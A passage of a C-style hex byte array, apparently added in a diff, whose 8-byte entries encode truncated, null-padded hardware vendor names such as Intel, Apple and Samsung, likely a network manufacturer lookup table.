0x00, +0x4d, 0x61, 0x6e, 0x74, 0x72, 0x61, 0x43, 0x6f, +0x49, 0x6d, 0x70, 0x65, 0x72, 0x69, 0x61, 0x6c, +0x50, 0x61, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x4e, +0x49, 0x6e, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x73, 0x6d, 0x6f, 0x52, 0x65, 0x73, +0x53, 0x65, 0x72, 0x6f, 0x6d, 0x65, 0x54, 0x65, +0x56, 0x69, 0x73, 0x69, 0x63, 0x6f, 0x6d, 0x00, +0x5a, 0x73, 0x6b, 0x53, 0x74, 0x69, 0x63, 0x6b, +0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x76, 0x65, +0x53, 0x65, 0x6c, 0x74, 0x61, 0x54, 0x65, 0x6c, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6c, 0x45, 0x6c, +0x53, 0x65, 0x65, 0x64, 0x65, 0x6b, 0x00, 0x00, +0x41, 0x6d, 0x65, 0x72, 0x43, 0x6f, 0x6d, 0x00, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x66, 0x72, 0x61, +0x52, 0x61, 0x79, 0x73, 0x69, 0x73, 0x00, 0x00, +0x53, 0x75, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x54, +0x4c, 0x61, 0x6d, 0x70, 0x75, 0x73, 0x00, 0x00, +0x41, 0x6c, 0x6c, 0x2d, 0x57, 0x69, 0x6e, 0x54, +0x47, 0x72, 0x65, 0x61, 0x74, 0x44, 0x72, 0x61, +0x50, 0x69, 0x6c, 0x7a, 0x00, 0x00, 0x00, 0x00, +0x41, 0x76, 0x69, 0x76, 0x49, 0x6e, 0x66, 0x6f, +0x53, 0x69, 0x62, 0x79, 0x74, 0x65, 0x00, 0x00, +0x4d, 0x61, 0x6e, 0x6e, 0x65, 0x73, 0x6d, 0x61, +0x44, 0x61, 0x74, 0x61, 0x63, 0x61, 0x72, 0x64, +0x49, 0x70, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x63, +0x47, 0x65, 0x79, 0x73, 0x65, 0x72, 0x4e, 0x65, +0x53, 0x6f, 0x6d, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x43, 0x61, 0x72, 0x72, 0x69, 0x65, 0x72, 0x00, +0x57, 0x6f, 0x72, 0x6c, 0x64, 0x67, 0x61, 0x74, +0x49, 0x62, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x50, 0x72, 0x6f, +0x46, 0x6c, 0x79, 0x69, 0x6e, 0x67, 0x50, 0x61, +0x54, 0x73, 0x61, 0x6e, 0x6e, 0x4b, 0x75, 0x65, +0x43, 0x61, 0x74, 0x65, 0x6e, 0x61, 0x4e, 0x65, +0x43, 0x61, 0x6d, 0x62, 0x72, 0x69, 0x64, 0x67, +0x53, 0x63, 0x69, 0x4b, 0x75, 0x6e, 0x73, 0x68, +0x43, 0x61, 0x6c, 0x69, 0x78, 0x4e, 0x65, 0x74, +0x48, 0x69, 0x67, 0x68, 0x54, 0x65, 0x63, 0x68, +0x41, 0x63, 0x63, 0x6f, 0x72, 0x64, 0x69, 0x6f, +0x54, 0x69, 0x6c, 0x67, 0x69, 0x6e, 0x00, 0x00, +0x53, 0x6f, 0x79, 0x6f, 0x47, 0x72, 0x6f, 0x75, +0x55, 0x70, 0x73, 0x4d, 0x61, 0x6e, 0x75, 0x66, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x72, 0x61, 0x6d, +0x56, 0x69, 0x72, 0x64, 0x69, 0x74, 0x65, 0x63, +0x54, 0x68, 0x65, 0x72, 0x6d, 0x61, 0x6c, 0x6f, +0x4e, 0x6f, 0x64, 0x65, 0x52, 0x75, 0x6e, 0x6e, +0x48, 0x61, 0x72, 0x72, 0x69, 0x73, 0x47, 0x6f, +0x4e, 0x61, 0x64, 0x61, 0x74, 0x65, 0x6c, 0x00, +0x43, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x54, 0x65, +0x42, 0x63, 0x6d, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x43, +0x41, 0x64, 0x65, 0x70, 0x74, 0x54, 0x65, 0x6c, +0x4e, 0x65, 0x67, 0x65, 0x6e, 0x41, 0x63, 0x63, +0x53, 0x65, 0x6e, 0x61, 0x6f, 0x49, 0x6e, 0x74, +0x43, 0x72, 0x65, 0x77, 0x61, 0x76, 0x65, 0x00, +0x43, 0x63, 0x26, 0x43, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x72, 0x69, 0x6f, 0x6c, 0x69, 0x73, +0x54, 0x6f, 0x6d, 0x6d, 0x79, 0x54, 0x65, 0x63, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x54, 0x65, 0x63, +0x50, 0x72, 0x69, 0x6d, 0x61, 0x78, 0x45, 0x6c, +0x43, 0x61, 0x73, 0x68, 0x53, 0x79, 0x73, 0x74, +0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x45, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x41, +0x49, 0x6f, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x6d, 0x70, 0x6c, 0x69, 0x66, 0x79, 0x4e, +0x54, 0x72, 0x69, 0x6c, 0x69, 0x74, 0x68, 0x69, +0x41, 0x73, 0x6b, 0x2d, 0x54, 0x65, 0x63, 0x68, +0x4d, 0x75, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x56, 0x69, 0x61, 0x63, 0x6c, 0x69, 0x78, 0x00, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x75, 0x6d, +0x55, 0x6b, 0x47, 0x72, 0x69, 0x64, 0x53, 0x6f, +0x52, 0x69, 0x76, 0x65, 0x72, 0x73, 0x74, 0x6f, +0x4f, 0x63, 0x63, 0x61, 0x6d, 0x4e, 0x65, 0x74, +0x41, 0x64, 0x61, 0x70, 0x63, 0x6f, 0x6d, 0x00, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x56, 0x69, +0x44, 0x6e, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x6d, 0x62, 0x69, 0x74, 0x4d, 0x69, 0x63, +0x56, 0x64, 0x73, 0x6c, 0x4f, 0x79, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x65, 0x6c, 0x2d, 0x53, +0x4d, 0x6f, 0x76, 0x69, 0x74, 0x61, 0x54, 0x65, +0x52, 0x61, 0x70, 0x69, 0x64, 0x35, 0x4e, 0x65, +0x47, 0x6c, 0x6f, 0x62, 0x65, 0x74, 0x65, 0x6b, +0x57, 0x6f, 0x6f, 0x72, 0x69, 0x67, 0x69, 0x73, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x49, 0x6e, 0x6e, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x44, 0x61, 0x74, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x53, 0x6f, 0x6b, +0x49, 0x70, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, +0x4c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x43, 0x2d, 0x43, 0x6f, 0x72, 0x4e, 0x65, 0x74, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x66, 0x72, 0x61, +0x41, 0x70, 0x65, 0x78, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x41, +0x4b, 0x72, 0x65, 0x61, 0x74, 0x65, 0x6c, 0x43, +0x4d, 0x65, 0x72, 0x69, 0x78, 0x00, 0x00, 0x00, +0x4c, 0x2d, 0x33, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x46, 0x6c, 0x61, 0x74, 0x73, 0x74, 0x61, 0x63, +0x57, 0x6f, 0x72, 0x6c, 0x64, 0x57, 0x69, 0x64, +0x48, 0x69, 0x6c, 0x73, 0x63, 0x68, 0x65, 0x72, +0x41, 0x62, 0x62, 0x53, 0x77, 0x69, 0x74, 0x7a, +0x41, 0x64, 0x64, 0x70, 0x61, 0x63, 0x54, 0x65, +0x45, 0x66, 0x66, 0x69, 0x6e, 0x65, 0x74, 0x00, +0x56, 0x69, 0x76, 0x61, 0x63, 0x65, 0x4e, 0x65, +0x41, 0x69, 0x72, 0x4c, 0x69, 0x6e, 0x6b, 0x54, +0x52, 0x61, 0x63, 0x6f, 0x6d, 0x53, 0x52, 0x4f, +0x50, 0x6c, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x43, 0x74, 0x63, 0x55, 0x6e, 0x69, 0x6f, 0x6e, +0x33, 0x70, 0x61, 0x72, 0x44, 0x61, 0x74, 0x61, +0x48, 0x6f, 0x79, 0x61, 0x00, 0x00, 0x00, 0x00, +0x53, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x78, 0x45, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x72, 0x75, 0x7a, +0x48, 0x6f, 0x6b, 0x75, 0x62, 0x75, 0x43, 0x6f, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x76, 0x69, 0x73, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x44, 0x61, 0x70, 0x68, 0x6e, 0x65, 0x00, 0x00, +0x41, 0x76, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x41, 0x63, 0x72, 0x6f, 0x73, 0x73, 0x65, 0x72, +0x57, 0x61, 0x74, 0x61, 0x6e, 0x61, 0x62, 0x65, +0x57, 0x68, 0x69, 0x4b, 0x6f, 0x6e, 0x73, 0x75, +0x43, 0x6f, 0x6e, 0x74, 0x69, 0x6e, 0x75, 0x6f, +0x4c, 0x76, 0x6c, 0x37, 0x00, 0x00, 0x00, 0x00, +0x42, 0x69, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x54, 0x6f, 0x74, 0x73, 0x75, 0x45, 0x6e, 0x67, +0x44, 0x6f, 0x74, 0x72, 0x6f, 0x63, 0x6b, 0x65, +0x42, 0x65, 0x6e, 0x63, 0x65, 0x6e, 0x74, 0x54, +0x4e, 0x65, 0x74, 0x56, 0x69, 0x73, 0x69, 0x6f, +0x41, 0x72, 0x65, 0x6c, 0x6e, 0x65, 0x74, 0x00, +0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x49, 0x6e, +0x45, 0x76, 0x65, 0x72, 0x74, 0x7a, 0x4d, 0x69, +0x44, 0x61, 0x74, 0x61, 0x54, 0x72, 0x61, 0x63, +0x41, 0x6c, 0x70, 0x73, 0x45, 0x6c, 0x65, 0x63, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x63, 0x6f, +0x4d, 0x65, 0x6c, 0x6c, 0x61, 0x6e, 0x6f, 0x78, +0x45, 0x6e, 0x64, 0x70, 0x6f, 0x69, 0x6e, 0x74, +0x54, 0x72, 0x69, 0x73, 0x74, 0x61, 0x74, 0x65, +0x4d, 0x43, 0x43, 0x49, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x64, 0x72, 0x65, 0x61, +0x46, 0x6f, 0x78, 0x6a, 0x65, 0x74, 0x00, 0x00, +0x5a, 0x79, 0x67, 0x61, 0x74, 0x65, 0x43, 0x6f, +0x43, 0x6f, 0x6d, 0x64, 0x69, 0x61, 0x6c, 0x00, +0x56, 0x69, 0x76, 0x6f, 0x74, 0x65, 0x6b, 0x00, +0x57, 0x6f, 0x72, 0x6b, 0x73, 0x74, 0x61, 0x74, +0x4e, 0x65, 0x74, 0x62, 0x6f, 0x74, 0x7a, 0x00, +0x50, 0x64, 0x61, 0x50, 0x65, 0x72, 0x69, 0x70, +0x41, 0x63, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x63, 0x65, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x70, 0x65, 0x67, 0x00, 0x00, 0x00, +0x42, 0x72, 0x65, 0x63, 0x69, 0x73, 0x43, 0x6f, +0x52, 0x65, 0x6c, 0x69, 0x61, 0x62, 0x6c, 0x65, +0x45, 0x78, 0x69, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, +0x4e, 0x65, 0x74, 0x73, 0x65, 0x63, 0x00, 0x00, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x47, +0x42, 0x72, 0x6f, 0x6d, 0x61, 0x78, 0x43, 0x6f, +0x41, 0x73, 0x74, 0x72, 0x6f, 0x64, 0x65, 0x73, +0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x00, 0x00, +0x45, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x64, 0x63, 0x49, 0x6e, 0x66, 0x61, 0x72, +0x4c, 0x69, 0x74, 0x65, 0x2d, 0x4f, 0x6e, 0x43, +0x4a, 0x63, 0x48, 0x79, 0x75, 0x6e, 0x00, 0x00, +0x54, 0x69, 0x6d, 0x65, 0x77, 0x61, 0x72, 0x65, +0x47, 0x6f, 0x75, 0x6c, 0x64, 0x49, 0x6e, 0x73, +0x43, 0x61, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x44, 0x26, 0x41, 0x00, 0x00, 0x00, 0x00, +0x43, 0x73, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x46, 0x6f, 0x63, 0x75, 0x73, 0x45, 0x6e, 0x68, +0x50, 0x69, 0x63, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, +0x4d, 0x61, 0x73, 0x63, 0x68, 0x6f, 0x66, 0x66, +0x44, 0x78, 0x6f, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x44, 0x61, 0x6e, +0x43, 0x63, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x41, 0x6d, 0x65, 0x4f, 0x70, 0x74, 0x69, 0x6d, +0x50, 0x69, 0x6e, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x45, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x53, 0x65, 0x72, +0x50, 0x63, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x56, 0x69, 0x76, 0x65, 0x53, 0x79, 0x6e, 0x65, +0x45, 0x71, 0x75, 0x69, 0x70, 0x65, 0x43, 0x6f, +0x41, 0x72, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x65, 0x61, 0x6b, 0x72, 0x45, 0x6e, 0x67, +0x4d, 0x69, 0x6d, 0x6f, 0x73, 0x42, 0x65, 0x72, +0x44, 0x78, 0x41, 0x6e, 0x74, 0x65, 0x6e, 0x6e, +0x42, 0x61, 0x75, 0x6d, 0x75, 0x6c, 0x6c, 0x65, +0x56, 0x69, 0x64, 0x69, 0x74, 0x65, 0x63, 0x00, +0x48, 0x61, 0x6e, 0x64, 0x61, 0x6e, 0x42, 0x72, +0x42, 0x61, 0x72, 0x72, 0x61, 0x63, 0x75, 0x64, +0x45, 0x78, 0x66, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x43, 0x68, 0x61, 0x72, 0x6c, 0x65, 0x73, 0x49, +0x4a, 0x61, 0x6d, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x42, +0x4d, 0x73, 0x63, 0x56, 0x65, 0x72, 0x74, 0x72, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x6e, +0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x57, 0x6f, +0x41, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x54, 0x65, 0x78, 0x63, 0x65, 0x6c, 0x54, 0x65, +0x41, 0x72, 0x67, 0x75, 0x73, 0x54, 0x65, 0x63, +0x48, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x54, 0x65, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x6f, 0x66, 0x74, +0x55, 0x6e, 0x69, 0x77, 0x69, 0x6c, 0x6c, 0x43, +0x43, 0x6f, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x43, +0x45, 0x2d, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, +0x54, 0x72, 0x2d, 0x53, 0x79, 0x73, 0x74, 0x65, +0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x4d, 0x65, +0x54, 0x65, 0x6c, 0x65, 0x77, 0x61, 0x72, 0x65, +0x43, 0x69, 0x64, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x62, 0x65, 0x6c, 0x6c, 0x43, 0x6f, +0x4d, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x00, 0x00, +0x43, 0x79, 0x72, 0x61, 0x73, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x65, 0x6f, 0x6e, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x42, +0x43, 0x65, 0x6c, 0x6c, 0x76, 0x69, 0x73, 0x69, +0x53, 0x76, 0x65, 0x6e, 0x73, 0x6b, 0x61, 0x48, +0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x43, 0x6f, +0x4f, 0x70, 0x74, 0x72, 0x61, 0x6e, 0x65, 0x74, +0x43, 0x6f, 0x6e, 0x64, 0x65, 0x76, 0x00, 0x00, +0x58, 0x70, 0x65, 0x65, 0x64, 0x00, 0x00, 0x00, +0x52, 0x65, 0x63, 0x6f, 0x52, 0x65, 0x73, 0x65, +0x49, 0x64, 0x69, 0x73, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x6e, 0x65, 0x74, 0x54, 0x65, +0x53, 0x61, 0x6e, 0x79, 0x6f, 0x43, 0x6f, 0x6e, +0x41, 0x72, 0x69, 0x6d, 0x61, 0x43, 0x6f, 0x6d, +0x49, 0x77, 0x61, 0x73, 0x61, 0x6b, 0x69, 0x49, +0x41, 0x63, 0x74, 0x4c, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x63, 0x65, 0x47, 0x72, 0x6f, 0x75, +0x46, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x43, +0x47, 0x61, 0x69, 0x44, 0x61, 0x74, 0x65, 0x6e, +0x49, 0x62, 0x61, 0x73, 0x65, 0x54, 0x65, 0x63, +0x53, 0x63, 0x6f, 0x70, 0x65, 0x49, 0x6e, 0x66, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x53, 0x75, +0x49, 0x6d, 0x61, 0x67, 0x65, 0x6e, 0x69, 0x63, +0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x6c, 0x00, +0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x45, +0x4d, 0x69, 0x72, 0x61, 0x65, 0x54, 0x65, 0x63, +0x5a, 0x65, 0x74, 0x65, 0x73, 0x54, 0x65, 0x63, +0x56, 0x61, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, +0x4f, 0x61, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x45, 0x75, 0x72, 0x6f, 0x6c, 0x6f, 0x67, 0x69, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x57, +0x54, 0x61, 0x6d, 0x69, 0x54, 0x65, 0x63, 0x68, +0x44, 0x61, 0x69, 0x64, 0x65, 0x6e, 0x00, 0x00, +0x49, 0x6c, 0x73, 0x68, 0x69, 0x6e, 0x4c, 0x61, +0x54, 0x61, 0x74, 0x65, 0x79, 0x61, 0x6d, 0x61, +0x42, 0x69, 0x67, 0x62, 0x61, 0x6e, 0x64, 0x4e, +0x46, 0x6c, 0x6f, 0x77, 0x61, 0x72, 0x65, 0x57, +0x41, 0x78, 0x6f, 0x6e, 0x44, 0x69, 0x67, 0x69, +0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x50, 0x72, +0x54, 0x69, 0x65, 0x74, 0x65, 0x63, 0x68, 0x00, +0x52, 0x6f, 0x75, 0x74, 0x72, 0x65, 0x6b, 0x4e, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x4b, +0x4e, 0x6f, 0x72, 0x73, 0x63, 0x61, 0x6e, 0x49, +0x56, 0x69, 0x64, 0x69, 0x63, 0x6f, 0x64, 0x65, +0x52, 0x69, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, +0x53, 0x68, 0x61, 0x6e, 0x67, 0x68, 0x61, 0x69, +0x43, 0x68, 0x69, 0x61, 0x72, 0x6f, 0x4e, 0x65, +0x50, 0x6f, 0x73, 0x44, 0x61, 0x74, 0x61, 0x00, +0x53, 0x75, 0x72, 0x2d, 0x47, 0x61, 0x72, 0x64, +0x42, 0x74, 0x69, 0x63, 0x69, 0x6e, 0x6f, 0x00, +0x44, 0x69, 0x65, 0x62, 0x6f, 0x6c, 0x64, 0x00, +0x43, 0x6f, 0x6c, 0x75, 0x62, 0x72, 0x69, 0x73, +0x4d, 0x69, 0x74, 0x61, 0x63, 0x00, 0x00, 0x00, +0x46, 0x69, 0x62, 0x65, 0x72, 0x4c, 0x6f, 0x67, +0x54, 0x65, 0x72, 0x61, 0x62, 0x65, 0x61, 0x6d, +0x57, 0x69, 0x6e, 0x63, 0x6f, 0x72, 0x4e, 0x69, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x6f, 0x69, +0x48, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x67, 0x44, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x73, +0x50, 0x68, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x77, 0x61, +0x53, 0x61, 0x69, 0x6e, 0x74, 0x53, 0x6f, 0x6e, +0x42, 0x6f, 0x73, 0x75, 0x6e, 0x67, 0x48, 0x69, +0x4d, 0x65, 0x74, 0x72, 0x6f, 0x70, 0x6f, 0x6c, +0x50, 0x72, 0x66, 0x74, 0x65, 0x63, 0x68, 0x00, +0x50, 0x61, 0x63, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x57, 0x69, 0x64, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x56, 0x6f, 0x64, 0x74, 0x65, 0x6c, 0x43, 0x6f, +0x4d, 0x69, 0x72, 0x61, 0x65, 0x73, 0x79, 0x73, +0x53, 0x63, 0x65, 0x6e, 0x69, 0x78, 0x53, 0x65, +0x4b, 0x69, 0x72, 0x61, 0x49, 0x6e, 0x66, 0x6f, +0x41, 0x73, 0x6d, 0x50, 0x61, 0x63, 0x69, 0x66, +0x4a, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x65, 0x4e, +0x45, 0x6d, 0x62, 0x65, 0x64, 0x6f, 0x6e, 0x65, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x41, 0x6e, +0x4d, 0x61, 0x69, 0x6e, 0x6e, 0x65, 0x74, 0x00, +0x52, 0x75, 0x6e, 0x74, 0x6f, 0x70, 0x00, 0x00, +0x4e, 0x69, 0x63, 0x6f, 0x6e, 0x50, 0x74, 0x79, +0x54, 0x65, 0x6c, 0x73, 0x65, 0x79, 0x00, 0x00, +0x4e, 0x78, 0x74, 0x76, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x6f, 0x6d, 0x7a, 0x4e, 0x65, 0x74, +0x55, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x41, 0x73, 0x65, 0x6c, 0x73, 0x61, 0x6e, 0x41, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x4d, +0x4e, 0x65, 0x74, 0x6d, 0x65, 0x64, 0x69, 0x61, +0x47, 0x72, 0x61, 0x70, 0x68, 0x74, 0x65, 0x63, +0x47, 0x69, 0x67, 0x61, 0x62, 0x69, 0x74, 0x57, +0x48, 0x75, 0x6d, 0x61, 0x78, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x73, 0x63, 0x65, 0x6e, 0x64, +0x54, 0x61, 0x69, 0x79, 0x6f, 0x59, 0x75, 0x64, +0x49, 0x64, 0x65, 0x63, 0x49, 0x7a, 0x75, 0x6d, +0x43, 0x6f, 0x61, 0x78, 0x4d, 0x65, 0x64, 0x69, +0x53, 0x74, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x6d, +0x50, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x68, 0x43, +0x41, 0x74, 0x68, 0x65, 0x72, 0x6f, 0x73, 0x43, +0x53, 0x73, 0x68, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x63, 0x6f, +0x41, 0x2d, 0x4f, 0x6e, 0x65, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x65, 0x72, 0x61, 0x4e, 0x65, +0x41, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x4e, +0x48, 0x6f, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x42, 0x6c, 0x61, 0x7a, 0x65, 0x4e, 0x65, 0x74, +0x46, 0x61, 0x73, 0x74, 0x66, 0x61, 0x6d, 0x65, +0x50, 0x6c, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e, +0x41, 0x6d, 0x65, 0x72, 0x69, 0x63, 0x61, 0x4f, +0x50, 0x6c, 0x75, 0x73, 0x2d, 0x4f, 0x6e, 0x65, +0x54, 0x6f, 0x74, 0x61, 0x6c, 0x49, 0x6d, 0x70, +0x50, 0x63, 0x73, 0x52, 0x65, 0x76, 0x65, 0x6e, +0x41, 0x74, 0x6f, 0x67, 0x61, 0x00, 0x00, 0x00, +0x57, 0x65, 0x69, 0x6e, 0x73, 0x63, 0x68, 0x65, +0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x54, +0x41, 0x70, 0x70, 0x6c, 0x65, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x4f, +0x43, 0x61, 0x6c, 0x69, 0x66, 0x6f, 0x72, 0x6e, +0x45, 0x7a, 0x43, 0x61, 0x73, 0x74, 0x00, 0x00, +0x46, 0x69, 0x72, 0x65, 0x62, 0x72, 0x69, 0x63, +0x57, 0x69, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, +0x44, 0x6f, 0x6e, 0x67, 0x6a, 0x75, 0x49, 0x6e, +0x53, 0x69, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, +0x4e, 0x65, 0x74, 0x63, 0x68, 0x69, 0x70, 0x54, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x67, 0x68, +0x51, 0x69, 0x73, 0x64, 0x61, 0x00, 0x00, 0x00, +0x54, 0x65, 0x72, 0x61, 0x53, 0x79, 0x73, 0x74, +0x48, 0x69, 0x70, 0x65, 0x72, 0x49, 0x6e, 0x66, +0x43, 0x61, 0x74, 0x61, 0x70, 0x75, 0x6c, 0x74, +0x4d, 0x61, 0x76, 0x69, 0x78, 0x00, 0x00, 0x00, +0x49, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x00, +0x4d, 0x65, 0x64, 0x65, 0x61, 0x00, 0x00, 0x00, +0x54, 0x72, 0x61, 0x78, 0x69, 0x74, 0x54, 0x65, +0x55, 0x6e, 0x69, 0x78, 0x74, 0x61, 0x72, 0x54, +0x49, 0x64, 0x6f, 0x74, 0x43, 0x6f, 0x6d, 0x70, +0x41, 0x78, 0x63, 0x65, 0x6e, 0x74, 0x4d, 0x65, +0x57, 0x61, 0x74, 0x6c, 0x6f, 0x77, 0x00, 0x00, +0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x49, 0x6e, +0x46, 0x72, 0x6f, 0x6e, 0x69, 0x75, 0x73, 0x53, +0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x45, +0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x41, 0x64, +0x50, 0x61, 0x72, 0x61, 0x67, 0x65, 0x61, 0x43, +0x58, 0x73, 0x65, 0x6e, 0x73, 0x65, 0x54, 0x65, +0x48, 0x6f, 0x73, 0x70, 0x69, 0x72, 0x61, 0x00, +0x52, 0x61, 0x64, 0x77, 0x61, 0x72, 0x65, 0x00, +0x49, 0x61, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x6b, +0x45, 0x6e, 0x74, 0x72, 0x61, 0x54, 0x65, 0x63, +0x51, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, +0x4e, 0x65, 0x74, 0x6b, 0x69, 0x74, 0x53, 0x6f, +0x48, 0x75, 0x61, 0x6c, 0x6f, 0x6e, 0x67, 0x54, +0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x43, 0x6f, +0x43, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x6d, 